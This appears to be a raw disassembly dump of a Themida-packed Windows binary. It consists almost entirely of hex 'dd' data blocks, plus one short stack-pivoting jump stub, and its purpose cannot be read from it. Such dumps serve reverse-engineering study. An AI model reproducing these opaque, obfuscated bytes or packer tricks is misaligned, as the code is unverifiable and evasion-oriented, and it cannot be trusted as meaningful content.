dd 0E4CB977Dh, 1916A824h, 0EA04958Ch, 0AA405E0Ah, 3E1C35B4h
dd 0CA29B6A8h, 33BEDB56h, 0ECB13FB1h, 46FEh, 0EB154F00h
dd 6916570h, 0ADF3DBB3h, 1503698Ah, 2799587Eh, 4B0D8E0Bh
dd 9927CAD7h, 13011708h, 7A0DF704h, 0C3A4F9E6h, 0EEB418F0h
dd 0BD818CEh, 5FD120C6h, 2D1BD6C3h, 0DDE8F4E0h, 0BB1BC905h
dd 0A314FF16h, 2EABA0FDh, 0D50BC39Bh, 150D43F9h, 0C438BBDDh
dd 0EA6E2FA8h, 0E48A6976h, 9A5946DAh, 4050DE16h, 0FD03088Fh
dd 555F8549h, 5102E770h, 6A5AA74Fh, 8516839Fh, 0AF425FD3h
dd 3DB4253Dh, 1E15A74Fh, 0EA09948Bh, 0E7698866h, 569D0419h
dd 0E7CD22D2h, 928F1814h, 707E1B17h, 0C75B1D7Eh, 82F17DAh
dd 60000000h, 0E47D7F4Fh, 476201F5h, 0CF41B015h, 39AB4653h
dd 0C537BA27h, 54C82BAEh, 0C335BCDDh, 50C42FAAh, 0C034BFD8h
dd 4DBF32AFh, 5D2AC9D0h, 107A68h, 242C8900h, 2C1468h, 242C8900h
dd 81E68956h, 4C6h, 4EE8300h, 5C243487h, 51240C89h, 744CA168h
dd 0D1F7592Ch, 21D9E181h, 0C1813B57h, 0F637E4BBh, 242C8151h
dd 46A21434h, 34C5815Dh, 5946A214h, 4EC81h, 24890000h
dd 24048324h, 0BA525904h, 8, 3ACDEA81h, 0CA0140F3h, 3ACDC281h
dd 2A8940F3h, 2434FF5Ah, 4C48359h, 57242C8Bh, 0C781E789h
dd 4, 4C781h, 3C870000h, 55E95C24h, 4FFFA74h, 0F2B83845h
dd 3093B09h, 41E0FFC5h, 9947E3FAh, 5C52AFC5h, 0CE358438h
dd 8F6E7603h, 3B6C206Ch, 527737BDh, 0BC6CD858h, 3423FF53h
dd 5236A8D9h, 0EF47B207h, 0F8738000h, 5B12A35Eh, 5167ED7Ah
dd 4249803Bh, 0B0704FCEh, 0A808C10Fh, 950790E1h, 0E341B8A4h
dd 814CCB3Bh, 45136983h, 531EA559h, 0B94B82BBh, 727DD3EBh
dd 3504DCB6h, 202F1D7Ah, 5D2DA098h, 465C34C4h, 0A392A76h
dd 744B9941h, 0EB45D163h, 0EB2BFEFEh, 9E7D0079h, 0E2218CEFh
dd 0ABAFD60Fh, 4DB2979Fh, 95B7E37Ch, 0A9E57200h, 0B69CB5E9h
dd 0F377609Bh, 0B794A9B6h, 60D7609Eh, 0A9BD897Dh, 9EBD8C9Eh
dd 95ACE372h, 0B98B204Ah, 89937E9Bh, 0F496B99Dh, 0A19E96AFh
dd 0A7D6B594h, 0D100FD91h, 594ACC48h, 713C33h, 57DB4D52h
dd 0B7D65EF3h, 0F600B79Bh, 8995ABAFh, 56F0009Fh, 0B3D7C771h
dd 711800BEh, 0ADC4D756h, 440873E2h, 43E90331h, 6800000Fh
dd 93B0D1Bh, 0FA7343E9h, 0E3D68FFh, 39E9093Bh, 68FFFA73h
dd 93B0F26h, 0FA732FE9h, 108068FFh, 25E9093Bh, 68FFFA73h
dd 93B10E0h, 0FA731BE9h, 11B568FFh, 11E9093Bh, 68FFFA73h
dd 93B1239h, 0FA7307E9h, 12C868FFh, 0FDE9093Bh, 68FFFA72h
dd 93B1380h, 0FA72F3E9h, 145568FFh, 0E9E9093Bh, 68FFFA72h
dd 93B15E2h, 0FA72DFE9h, 183B68FFh, 0D5E9093Bh, 68FFFA72h
dd 93B1955h, 0FA72CBE9h, 0B91E3CFFh, 98011CE4h, 0F7E27D03h
dd 9D3A32A6h, 0F8E17800h, 27E398A3h, 4E128B0Eh, 25DBC0D5h
dd 4B0D8E0Bh, 0DFD1CAD7h, 35CBF1AFh, 0EBF12FBh, 0AE2B47ADh
dd 445DD143h, 0D9FE7688h, 895E961Ah, 9B33EBBEh, 3646205h
dd 61901615h, 11BEDD3h, 4D37AE13h, 8524418Ch, 472692h
dd 15650000h, 41A12BB9h, 3E931C36h, 0A3BB9502h, 0C430B60Ch
dd 1EAE6631h, 2819580h, 0AE456B15h, 90E5B808h, 0A5C92838h
dd 37FDC351h, 67BE1301h, 4315C7Dh, 0B3369285h, 90000000h
dd 431CA63Ch, 0A6181301h, 11E50B88h, 802B4772h, 82F3000h
dd 0F3EE81E7h, 7C727C00h, 6F6A0375h, 831C1084h, 7760FC70h
dd 0D5079626h, 35291C35h, 0D26E548Ah, 226A1C35h, 35D2367Ch
dd 42AC321Ch, 0F569EFACh, 0D2AE14CAh, 4AA1C35h, 297C07EAh
dd 40475D71h, 0B41502F9h, 0CBDE6932h, 0BB25BB13h, 0BF0BCCB0h
dd 120BB519h, 0CB621687h, 982816CEh, 0EE75E9A2h, 0CFC04h
dd 0A90E2C00h, 0E8F16CF4h, 0A7322DB3h, 0EDEA82F6h, 0A83128B0h
dd 0B75328F3h, 0FE821BBEh, 0B52B7065h, 0FB7D1EBBh, 2F217A67h
dd 347B415Fh, 5E6F12FBh, 0AB2E475Dh, 0E5F26EF2h, 9B2E13B8h
dd 4AD50BC3h, 0AE150372h, 9B25C928h, 47DD1984h, 13011181h
dd 0D8F1E342h, 92852975h, 12BF2h, 9229C00h, 13E3658Ch
dd 0BE2B476Ch, 0E8D210A7h, 0DC1C3641h, 0DBD34BAh, 4B0FC9B8h
dd 0B03EB0DBh, 0AFA4641Ch, 0B56B6D3h, 79F064EBh, 0DF526C60h
dd 4B7B0C94h, 42AC2347h, 4AC92DAFh, 0C095DCA4h, 8AA831D0h
dd 0D6C9D46Ah, 0F76B1C35h, 0D1FDB1EAh, 35D9A913h, 0D3FB9D1Ch
dd 35D9A70Dh, 0F9FDA31Ch, 0DEEEEB87h, 0B52742DCh, 5856089Ch
dd 56DA19D7h, 1941F9Eh, 0B7498549h, 50D41FBAh, 0DD670EA4h
dd 3B5D1502h, 82206C62h, 1300A038h, 0A022A836h, 90161300h
dd 0BD48AC32h, 49A32EAh, 0BCC51DBh, 8C092799h, 0C10DE365h
dd 686213Fh, 3D9F3554h, 8A2EC628h, 0BBE0F970h, 39AD2C45h
dd 0E9A2083Bh, 0DAD7BF62h, 0A00000Bh, 4E128B28h, 23D5C6D3h
dd 540C910Ch, 1EE2BBDCh, 12099207h, 1989179h, 4A4FE49Ch
dd 4918F51h, 544DE197h, 772D6147h, 12FB334Dh, 47379C49h
dd 715B892Eh, 651C3641h, 9F21AD43h, 74EA1481h, 14BA8F67h
dd 896875EAh, 0E17DEF07h, 11ABA3F8h, 7B415F18h, 6F1C3641h
dd 99478769h, 1C364133h, 0CE758127h, 43AE2B47h, 57445DD1h
dd 0E0138EA1h, 0B6E7F06Ch, 0D4DF0044h, 1F12D0FCh, 15150355h
dd 36EA0365h, 8866A2E1h, 3807AE94h, 9520E287h, 11BD11BDh
dd 7737E9D3h, 3BBBDD1Dh, 44523AA5h, 83784816h, 0F02CDA58h
dd 0FDA351A5h, 865E69F6h, 5869846h, 747A1D84h, 0CDCA6658h
dd 725C101h, 0D8A65B4Ch, 1604AEF4h, 0DE001D84h, 0A3BF4116h
dd 6471EA14h, 8415347Eh
dd 40AE301Dh, 51D3AEA4h, 5A44EFE8h, 0AF1h, 5963321h, 0DAC3DE53h
dd 0F8C0926h, 0D3C8D149h, 1885140Dh, 859C6E1Bh, 5AD18714h
dd 849A5E3Fh, 5ED28617h, 18745C41h, 0FB32408Ah, 24A73412h
dd 43AE2B47h, 67041D9Fh, 8CBE527Fh, 10E30D71h, 0CADD688Ch
dd 6D24BA12h, 8B150322h, 3A8E3865h, 1251EA4h, 60941A13h
dd 0C20AC2D5h, 0CE49011Ch, 0DDF1F70Bh, 6C9F3B1h, 1BBD1C36h
dd 0A45049E5h, 6298F1Dh, 0C4591C36h, 8DA216DDh, 61900920h
dd 4DE211DFh, 6829CCB8h, 0D73617FDh, 90895034h, 40h, 0C39B2E3Fh
dd 0DF1D50Bh, 9BEF1503h, 0F5BF05h, 951FC513h, 911300F5h
dd 0C333B50Fh, 0B9438B0Dh, 0A8E90CA7h, 0E9EF6C1Ch, 757B1E17h
dd 0DE309428h, 0CC601300h, 1816CAD3h, 1E8E787Bh, 0BF00000Ah
dd 3A19B2Eh, 1C3641B9h, 5AD52BADh, 0BE30B43Fh, 4946D00Eh
dd 34BA150Dh, 8D0A2698h, 34A1BF41h, 0DEBB3BBDh, 3599061Ah
dd 418958Bh, 1AD4589Bh, 0A15049E4h, 0CB58D71Fh, 0CCAAF2F8h
dd 660709E9h, 557C4488h, 4156CE1Ch, 60922EB2h, 7200B3BDh
dd 25AB9C53h, 617F2BCBh, 0BD21464h, 84765658h, 2AAEEFE8h
dd 0BD4AA936h, 0E8D210EAh, 0DC1C3602h, 0A9834BAh, 150309F7h
dd 3D0BDBFDh, 0A0F2D4DBh, 9971901h, 95C70000h, 78F56B30h
dd 0ABC43C61h, 73EB6D2Eh, 0AAC33566h, 0D4A56E2Fh, 19A3F36h
dd 0ACF1E47Fh, 9D3A34h, 0A2FBE478h, 0FAC0DEAEh, 0EE12FB31h
dd 0A52BDEDDh, 0BC1C3641h, 79D31E9h, 150D48AEh, 12AC20C6h
dd 641C811Eh, 9724CFC8h, 6A78540Ch, 0BC8352Fh, 0FBC323C5h
dd 0E2E9ADAFh, 937573Fh, 0F5670000h, 1815CBD0h, 0CB641C81h
dd 130BCDCEh, 0CA631586h, 0B4C5CECFh, 613A5FD6h, 8C11849Fh
dd 603D5AD4h, 821B8498h, 0DAE0FECEh, 0CE12FB31h, 2B47FEBDh
dd 5DD143AEh, 203BAD44h, 0C32DACC5h, 32A7BC30h, 9084D1BFh
dd 7ED00D5h, 4FFE0746h, 3D86089h, 152F0000h, 8B6673EBh
dd 4F5AED09h, 2B933797h, 1E72B013h, 0BD53A390h, 150D35ECh
dd 6770E812h, 36EC088Ch, 8CA21CB0h, 0B943E70Fh, 995F3CA5h
dd 31D51C85h, 0FD58D251h, 0E60E7089h, 0FA9E7658h, 623A8D12h
dd 0D53126Ah, 0E1178A7Eh, 81A2CE4Fh, 0E410DEC2h, 0F66A9438h
dd 6E860AE9h, 0C7AFA9E0h, 0BBB7490Bh, 0A551D31Eh, 3835C7EFh
dd 14CE52A1h, 1C27AEAEh, 0FAEA04AAh, 0E9AE3A1Ah, 623620C3h
dd 92000008h, 0E69A03A0h, 8B4D4E4Bh, 0CC940994h, 0A65A4354h
dd 8A910A8Fh, 990019F1h, 0F2E77C04h, 9C3937A9h, 0FCE579FFh
dd 0BFE5A99Fh, 12FB30F5h, 47DFE4F1h, 0D143AE2Bh, 10AD445Dh
dd 0D73617FDh, 90894FFDh, 312h, 41A52B3Fh, 0E9BC1C36h
dd 0B239D31h, 28B3638Eh, 7B6B6B88h, 2ACE26C8h, 0C717D74h
dd 59757B15h, 0CDCECB67h, 678A170Bh, 0BD11C9DCh, 0C7646C27h
dd 7E66880Bh, 0E9AE8564h, 0DED0BA39h, 0E000007h, 6216872Ch
dd 17C9D2CFh, 58207D18h, 12C6D7C0h, 161D7E1Bh, 0D8CA565h
dd 4653C890h, 108DA355h, 4059D58Bh, 8B19755Bh, 12FB2F41h
dd 4723A835h, 0ACF802Bh, 0E737721Eh, 0FA76EA09h, 0AA9F25BBh
dd 159B1C35h, 0AC7918DBh, 946E9FB8h, 7FF98950h, 0DA000002h
dd 3641A52Bh, 31E9BC1Ch, 48F3079Dh, 0DD03150Dh, 4653CFF1h
dd 228FA355h, 0DE62910Eh, 4356E110h, 369D438Bh, 3C0BC851h
dd 0C92DAAC2h, 2751951Bh, 76E9ADBBh, 74F03EBh, 0DD7F0000h
dd 40DDA3F8h, 0A3BC4459h, 7BF36536h, 0A2BB3D5Eh, 0DCAD6637h
dd 0F9A2372Eh, 0B4E9EC87h, 0F8A5322Ch, 0AAF3EC80h, 0B218C606h
dd 0A612FB2Fh, 2B47D6F5h, 5DD143AEh, 0CE3FAD44h, 821F13E6h
dd 0F9D43919h, 2393894Fh, 0EF000000h, 0AB4653CDh, 3CB72239h
dd 55C836B8h, 0D109A84Ch, 1E6h, 4B6803FDh, 36412F95h, 6B852B1Ch
dd 9F2BE48Bh, 0A11C3641h, 8AA7021Fh, 8E60E40Fh, 411AA03Eh
dd 880E1C36h, 16CED96Ch, 490D28B6h, 0EDF3150Dh, 5643DFE1h
dd 29F9345h, 795164EFh, 51448F55h, 7E4A0BC8h, 282D5A60h
dd 0AC484E1Ch, 0C2F4F0F6h, 0DBE9ADBAh, 6976E58h, 95C70000h
dd 78F56B30h, 0ABC43C61h, 73EB6D2Eh, 0AAC33566h, 0D4A56E2Fh
dd 19A3F36h, 0ACF1E47Fh, 9D3A34h, 0A2FBE478h, 0FAC0DEAEh
dd 0EE12FB2Eh, 2B47DEDDh, 0C231A6BEh, 641CB03Eh, 94FD15BAh
dd 6EF50156h, 7A7966FAh, 0E0AB990Ah, 817B534Ch, 39A9C7ECh
dd 9BDC2AD4h, 0D9166D55h, 0F9A28471h, 942620FDh, 58F8FC9Dh
dd 895035F5h, 1372h, 0EB152100h, 7896875h, 7C7762F9h, 0B0CFCF8h
dd 3D000001h, 36419E2Bh, 36EEB91Ch, 0A5E5E696h, 0F90F8C14h
dd 7D9351FDh, 71150CB9h, 4C18E341h, 0EEFDC5D2h, 45896723h
dd 613AA7BBh, 0B616839Fh, 563A2306h, 0A42B70F0h, 0C5B50DC8h
dd 2BB24291h, 913D15A0h, 0C78B8853h, 8A5A7C0Bh, 0E9AE7582h
dd 0C2EED85Bh, 0F2000005h, 0C63A6340h, 0EB6D2EABh, 0AC346974h
dd 67A23B4h, 6A316A6Fh, 0F9E07911h, 5247DCA4h, 0FC999749h
dd 5C45D99Fh, 9F45893Fh, 12FB2D15h, 473F8411h, 0D143AE2Bh
dd 367C225Dh, 6E1C3641h, 8E12E1F6h, 0B53CB234h, 1BEED647h
dd 51019A07h, 894FF9FCh, 116Bh, 8CA51700h, 154AE90Dh, 8C6875EBh
dd 519Ch, 2B47ED00h, 0BB36A3BEh, 654F9539h, 611C3641h
dd 651DB13Fh, 96BC0E7Dh, 78F7FFFEh, 974D6804h, 1C35EC2Dh
dd 8A698729h, 737E1B16h, 0ECAB11CFh, 0F99F1C35h, 886B6E07h
dd 15D0C421h, 0A56E4EF8h, 2A21E4B8h, 371D7282h, 0EEAF2844h
dd 2CF4h, 0EB155500h, 9DCE3B74h, 0CC877B15h, 0C458D222h
dd 458818DBh, 341C356Ah, 0F2EF807Ah, 2C797DFFh, 0C8D14D38h
dd 7865FA04h, 2AFFF779h, 0AE2B4789h, 0F9DF9F43h, 8B4134ECh
dd 3F5AC694h, 19D1C883h, 0A77F4ADDh, 36AF7927h, 255D150Dh
dd 66C9FE6Eh, 812FC784h, 0D64D6F5Fh, 37B903A1h, 2BAD12FBh
dd 4AAA2EC5h, 97001C9Eh, 0E4602006h, 68F20BF1h, 2B914F7Fh
dd 1F12FAD7h, 6F037D79h, 0CC605A72h, 249C20D3h, 0F34C3729h
dd 0ED74806Bh, 4F7F5762h, 0D1653491h, 9088320Bh, 9F41EF07h
dd 8918D2Fh, 0FBD5FCC4h, 5747E610h, 0F10E926Bh, 8C688717h
dd 1BC7F7AFh, 0B5D762A0h, 16D8C158h, 0E7F06CDEh, 5C347F0Ch
dd 0DFBF3270h, 0B3351502h, 0D5092F33h, 1B03AEF2h, 435h
dd 0C9D2F765h, 1E7F1A17h, 0C3D8C55Ah, 0E7B4253Dh, 0BCE1F871h
dd 69008AFFh, 0BEB52B70h, 60FE821Bh, 0BAB62A73h, 4C8801Dh
dd 0FB2CD4DEh, 0C3D012h, 0A7BE2B47h, 0B33DBF32h, 0DDFA76EAh
dd 118EA216h, 0E6F36EE2h, 2C85990Bh, 0C84CA730h, 0C159CB26h
dd 0ED9719D8h, 0ACC1B4A0h, 0B43ABE35h, 3217FD4Eh, 0EA099688h
dd 1C8E66h, 0E9240697h, 7E894FF9h, 73h, 545E8448h, 8C1C364Dh
dd 2EC00297h, 0C94BA633h, 1530CF27h, 41A12BB9h, 13951C36h
dd 8D4550E3h, 13A0BF41h, 3641E7CDh, 33BDE31Ch, 497317C3h
dd 8026CDD4h, 36415862h, 0A44A4C1Ch, 0DFAC250h, 0ECF21503h
dd 5340DEE0h, 0F5527A4Ah, 0EA861300h, 3628B0EDh, 576925A9h
dd 0B236BDD8h, 0F58A30h, 3AA7BA13h, 198F35B7h, 9F579900h
dd 34F3620h, 2E970000h, 0D50BC39Bh, 15036C8Eh, 1B8D648Ah
dd 8E547807h, 13011324h, 5E647E20h, 64130113h, 113743Eh
dd 546E7013h, 0E3559C52h, 2FA1504Dh, 614FA237h, 0A86500F4h
dd 10A34F35h, 0F66A9438h, 43610DE9h, 0BCE3E18h, 0F6D1CACCh
dd 9BE3EBA3h
dd 8D4C7519h, 5D7AF6B9h, 18DC1296h, 0D3232E74h, 0BFE11502h
dd 30A9C034h, 9282D3C1h, 86130BB5h, 0BFE5E96Bh, 13008AF5h
dd 7C07EFF1h, 3EE8129h, 2866D68h, 14CA02ECh, 0BCDB54Dh
dd 1EBBB54Bh, 1915CBD0h, 63FF7180h, 0F9A2576h, 6697757h
dd 0FA1502CBh, 4EE6D8F4h, 0CE26AA49h, 82FFC14Fh, 65C01300h
dd 0BD2F5E7Fh, 0C13B9285h, 3CC033AEh, 4D11B8h, 2EC20000h
dd 0B30BC39Bh, 828B2048h, 0A59FC129h, 4E07C000h, 26BC6094h
dd 1502E1F7h, 8818DBFDh, 1300A146h, 16DDFA76h, 0F10F8CA2h
dd 1E926178h, 0DA5E9502h, 25C0B431h, 0A9DAA26Ch, 0E88BF8C1h
dd 0B59FF400h, 85313994h, 0A12E92h, 475D0000h, 0D143AE2Bh
dd 358D4158h, 171620C3h, 0FD8470CAh, 0E70A978Bh, 0BBE0F975h
dd 35F87E29h, 35A2BE1Ch, 637CF068h, 0D8B00390h, 24AFAEF4h
dd 43651503h, 623A8D5Ah, 9003346Ah, 0EFF10BCCh, 2744DDDFh
dd 9CD290ABh, 0D2CB25ABh, 0C8F2B0DCh, 0BC1C33CAh, 0C960DA1Ah
dd 1E0414D0h, 5AD9E9A2h, 1DC70h, 892E0C00h, 0C8D14C14h
dd 87120DD3h, 0CDCA6216h, 881108D0h, 97730813h, 0DEA2FB9Eh
dd 954B5045h, 0DB9DFE9Bh, 8F415A47h, 291BA13Fh, 7E0F12FBh
dd 0AB2E473Dh, 0E5F26EF2h, 71EC0EB8h, 2EE58C68h, 415CD39Bh
dd 0B5223EB2h, 0BA34BA3Eh, 2D44B612h, 6BBA48ACh, 91150372h
dd 7254E40Fh, 33130111h, 0FB05C2B2h, 0F6487865h, 419249F5h
dd 0DA33DB1Bh, 8D92851Ah, 0DCh, 0AE2B473Eh, 8E346A1Eh
dd 8A1C3641h, 903A6864h, 841C3641h, 670B9262h, 89625217h
dd 8373A9FAh, 6A891009h, 3588CBDAh, 6D8F3B1Ch, 880CE7F2h
dd 3587705Ah, 0B242641Ch, 0E2BB2438h, 5E95021Eh, 21EC6D1h
dd 0E10F8AA5h, 0F10BBF0Fh, 809D637Eh, 9E56DA19h, 2B45510h
dd 0F8A54B15h, 48845C67h, 0C9E47A84h, 5BA5F25Ah, 0CF22CC05h
dd 16D8C15Dh, 68AE50DEh, 922C0BCCh, 84150D9Ah, 0F105EB6Dh
dd 8F319D43h, 46F20297h, 7F1CBDB4h, 495760F9h, 1C340683h
dd 677F7177h, 0E9A1DDFFh, 0C22B139Eh, 0F2000000h, 0C63A6340h
dd 0EB6D2EABh, 0AC346974h, 67A23B4h, 6A316A6Fh, 0F9E07911h
dd 5247DCA4h, 0FC999749h, 5C45D99Fh, 9F45893Fh, 12FB2815h
dd 473F8411h, 6EF2AB2Eh, 13B8E5F2h, 43AE2B47h, 57445DD1h
dd 69653D88h, 0D49153Bh, 0CE70915h, 49571666h, 77E7EA82h
dd 88110D7Fh, 38A5BA44h, 519DFBCh, 958E309Ch, 0DF6DF400h
dd 0D006214h, 4B5935D9h, 19045D81h, 29935175h, 1D19045Dh
dd 3481757Bh, 0FEB9B540h, 45DDAE0h, 26C8CE19h, 7A1F14A6h
dd 2C01F577h, 302FB8B4h, 24CA4EA5h, 0B4C35BCDh, 45DC4EEh
dd 0D01EC019h, 0F2E23321h, 2D6E6B07h, 0C72AB7ABh, 8DFh
dd 0EB153000h, 248E6673h, 0B015475Dh, 4653CF41h, 0BA2739ABh
dd 2BAEC537h, 0BCDD54C8h, 2FAAC335h, 0BFD850C4h, 32AFC034h
dd 0C9D04DBFh, 89505D2Ah, 405E0h, 0E8830000h, 74FF5004h
dd 8F580424h, 685C2404h, 0DC3h, 52241C89h, 0C281E289h
dd 4, 8704EA83h, 895C2414h, 6EBB240Ch, 51100A48h, 3D6E4FB9h
dd 15C98116h, 81783870h, 6E41FCE9h, 59CB2977h, 4EC81h
dd 24890000h, 24048124h, 4, 0B9515359h, 1B0F27ECh, 4244C31h
dd 8418F59h, 0EC087181h, 0FF1B0F27h, 83592434h, 34FF04C4h
dd 0C4835B24h, 6416E904h, 4F02FFFAh, 0A796A1B6h, 82AF4B68h
dd 3CB8BED5h, 3093B1Ah, 59E0FFC5h, 0C11582C7h, 8B722665h
dd 9E0C2057h, 6E0BB064h, 0B634133Dh, 0B2713C75h, 83770329h
dd 926E998Ch, 9B7E8370h, 0E81C0D34h, 0CE6A04C2h, 431AAA3Fh
dd 0B6569BA0h, 0BD5FD594h, 915DAC26h, 75208EC1h, 761D5539h
dd 6074F50Eh, 0BF0A70BBh, 882EEFE6h, 3F35CE9Eh, 126864EEh
dd 90635984h, 0CD69C7BFh, 617DFD24h, 5A5DA9E1h, 0B66D63E6h
dd 0C6416DB1h, 0C62555Dh, 0EB56B9C7h, 0FEF16704h, 4C6E92Ah
dd 4DEF0000h, 0B0AD3368h, 73EC7429h, 0ABC33566h, 72EB6D2Eh
dd 0C7D3667h, 0A9F2E77Eh, 4993C37h, 0A8F5E27Ch, 0FAA33C30h
dd 62687656h, 5612FB26h, 2B478645h, 0BC32A7BEh, 3FAAC335h
dd 8C3EB520h, 0B82918DEh, 35BB3533h, 637CF068h, 5ED0EA90h
dd 0C62EB241h, 34BFD854h, 0E6F36C8Eh, 0F36D890Bh, 2990637Eh
dd 213DC8BCh, 31DE3B8h, 0DD530596h, 0A4BF31C0h, 81D2C231h
dd 6976E893h, 0D5C05B65h, 26624C21h, 35D65278h, 0BDB0461Ch
dd 0B02ACA24h, 0E753F5BCh, 4B62DE86h, 0F7BE4EA5h, 0FE1C3641h
dd 94405EFh, 5E894FFAh, 56h, 0AE2B472Dh, 18819C1Eh, 0FFC755DCh
dd 81C3641h, 0FF4E0FF5h, 68894FF9h, 1, 8D2A4727h, 0B99CC35h
dd 0D60CA6A7h, 1C3545ECh, 61900924h, 2DC3E5DFh, 0C2DF52C6h
dd 12A5BD2Fh, 3545E6CCh, 32BCE21Ch, 190B5ABFh, 0B5E6F36Eh
dd 0E9B22F43h, 36A3BB45h, 2E471FBEh, 59D448ABh, 0D243B140h
dd 7B1E17E2h, 63697753h, 571C3641h, 10C8A551h, 0E9B931Ch
dd 846F8116h, 9103EE00h, 831E139Eh, 0EF02EC70h, 0ACAD970Eh
dd 894FFF71h, 6F16h, 2E477500h, 5BD448ABh, 2BC5D24Eh, 100461C8h
dd 43DDCC65h, 7D039856h, 8AFEF5E4h, 37C90592h, 0CF649A3Fh
dd 0C2A32ACAh, 78547163h, 3641606Ah, 0A252541Ch, 4FFFE3FAh
dd 0BDE3A789h, 1C364BF7h, 6209EDF3h, 4Eh, 0AB2E4731h, 4D5AD448h
dd 3E5BD4D5h, 31BF41B0h, 0EBD92AC2h, 49620920h, 0C4EEB4EDh
dd 0C01C358Ch, 0EA93A21Eh, 1AB9E20Ch, 44AF2A47h, 75001C9Eh
dd 3641852Fh, 915F811Ch, 8816DE62h, 1C364145h, 12CBB94Ch
dd 894FF9BBh, 1ACh, 0EB15DB00h, 0DEFB7570h, 945F9113h
dd 0F56AE410h, 0EEC1BFBAh, 35B40AB0h, 0E8D8FE1Ch, 0C927C9C6h
dd 1DBAB62Ah, 86130FB1h, 0E37DEF6Eh, 9489FBF6h, 0B451E60Dh
dd 0EE5F25C0h, 0E1FC7306h, 1B58D3EDh, 35AC3F85h, 3BB53B1Ch
dd 0EBC034B8h, 3D91495Ch, 9B33AEC3h, 35ACBF05h, 0C135BB1Ch
dd 0D34F711Dh, 25A92BC6h, 35AC357Fh, 47AF311Ch, 2CF2EB9h
dd 4AE2DC15h, 0F5FBA94Dh, 9968AFEh, 4750CC94h, 7BF406ACh
dd 0EF11935Eh, 0D8F6277h, 8E735BE9h, 0A2831300h, 2EABC7B2h
dd 6A77EB6Dh, 80191587h, 7663FF71h, 8C15097Bh, 3E267765h
dd 685CC93Bh, 8318819Dh, 0A53C31CBh, 0AC5CB151h, 0EC0E9285h
dd 0E78E6673h, 0EFh, 0C39B2EA8h, 5F4ED50Bh, 2AD41503h
dd 964CA835h, 0F36FE110h, 2F43B5E6h, 51CD3FB2h, 766F2B1Ah
dd 0B6538D08h, 0A8B70B09h, 24CF217Eh, 587D67B4h, 25CCC966h
dd 45D953A3h, 428B3F5Ch, 259285CBh, 3Eh, 0C7872E66h, 4223D907h
dd 1FA11C36h, 0AF659104h, 903ACA29h, 9F1C3641h, 0E7CE9282h
dd 41D5DF05h, 0CFD11C36h, 0FDF7AD21h, 31C3641h, 918A67F9h
dd 8507EA04h, 801DC371h, 6E82h, 9B2EC300h, 72D50BC3h, 66150369h
dd 233FB140h, 0BF41E5B6h, 3BBD34A1h, 0C231A8C5h, 2844B63Eh
dd 0CA5F1FAFh, 5A421B2h, 0DEDA55CBh
dword_5A0468 dd 678ACAE2h, 0D323CDC8h, 7FCBBC4Ch, 0E4411300h, 706905F0h
; DATA XREF: Themida_:005469DDo
dd 51099C2Bh, 7671517Dh, 0AAE9964h, 50A3362Fh, 3CD222CCh
dd 0BD813BBh, 0C83CB739h, 0B8A84B54h, 2275796Bh, 0BB3C626Ah
dd 3914FEFAh, 1545E6B7h, 8C6772EBh, 4E59EC08h, 68923696h
dd 8709E8F1h, 5920E16Fh, 1294150Dh, 0E8F16DDFh, 0A8312DB3h
dd 19869A24h, 1F9E56DAh, 0B8773391h, 24967036h, 166B8B0Ch
dd 0DAC75B2Eh, 78F30DC1h, 0B27995Dh, 79F1638Eh, 0DBA39160h
dd 772D4AE1h, 0F137774Dh, 0AD49A749h, 23676C58h, 3777377Dh
dd 558B33F1h, 0F137776Fh, 4BAB456Bh, 57445DD1h, 0A52B0F6Fh
dd 6638F962h, 0A7001C8Eh, 0EE50B8Eh, 824h, 7F4F6500h, 0FEF6E37Dh
dd 0B015475Fh, 4653CF41h, 0BA2739ABh, 2BAEC537h, 0BCDD54C8h
dd 2FAAC335h, 0BFD850C4h, 32AFC034h, 0C9D04DBFh, 89575D2Ah
dd 4C781E7h, 53000000h, 4BBh, 5BDF2900h, 5C243C87h, 7F2768h
dd 24348900h, 81E18951h, 4C1h, 4E98300h, 5C240C87h, 68241C89h
dd 5217h, 0BD242C89h, 75FE7303h, 0C581D5F7h, 7F398E5Ch
dd 545DEE89h, 81241C8Bh, 4C4h, 49756800h, 34890000h, 8438F24h
dd 56241C8Bh, 0C681E689h, 4, 4C681h, 34870000h, 348B5C24h
db 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
jmp loc_5464A4
; ---------------------------------------------------------------------------
dw 10C3h
dd 31F88585h, 3B1F8CB8h, 0FFC50309h, 0CC9748E0h, 0E6A1B062h
dd 94571E54h, 1D04D758h, 0FC91CF73h, 33A5E330h, 1681833Bh
dd 7C2FCD12h, 2522A248h, 35F02F64h, 64640276h, 0D7788759h
dd 76EE8003h, 0A96BD222h, 0CADEB107h, 343C904Bh, 77B924Dh
dd 17DE92Dh, 5D600000h, 16C4FFEh, 0D1D76FC2h, 41EFB4CAh
dd 52E45B7Eh, 0FB6D5D97h, 9244FCA3h, 92A59EB9h, 0E495BCD7h
dd 0CB0093B9h, 0A3F49DB2h, 0B9FC9CACh, 45D2009Eh, 0EE73AFC9h
dd 9755FC00h, 6D599CBAh, 0FFB2A4E5h, 0F647FEACh, 0D4C45657h
dd 0B5F600CCh, 49F78F7Dh, 0FA975395h, 0CD45C9BCh, 6CA1915Ch
dd 0ACE5h, 1, 42h dup(0)
dd 0F8000000h, 0A43736D1h, 72D3C20Dh, 0E95F4C47h, 104Dh
dd 3B23DE68h, 23AAE909h, 0BA68FFFBh, 0E9093B24h, 0FFFB23A0h
dd 3B263568h, 2396E909h, 0F768FFFBh, 0E9093B26h, 0FFFB238Ch
dd 3B286368h, 2382E909h, 4F68FFFBh, 0E9093B29h, 0FFFB2378h
dd 3B2A0868h, 236EE909h, 9968FFFBh, 0E9093B2Ah, 0FFFB2364h
dd 3B2BB968h, 235AE909h, 3868FFFBh, 0E9093B2Ch, 0FFFB2350h
dd 3B2CFE68h, 2346E909h, 0A368FFFBh, 0E9093B2Dh, 0FFFB233Ch
dd 3B2E3568h, 2332E909h, 8268FFFBh, 0E9093B2Fh, 0FFFB2328h
dd 3B308968h, 231EE909h, 8B46FFFBh, 2DA5E2CBh, 0B61B6C31h
dd 2BA4E3C8h, 0CE05022Bh, 46F18B90h, 7AA3DBF2h, 815418Dh
dd 84A9D1F7h, 0C115183h, 6C76DF08h, 0EFCF88A2h, 1ACE129Ch
dd 9440435Ah, 2FF8C7D4h, 875E029h, 4BCF82A7h, 0CD53C2DDh
dd 95CF82A6h, 0CC73EB2Ah, 15F9B1D1h, 46h, 87F7DBECh, 0AD45FC88h
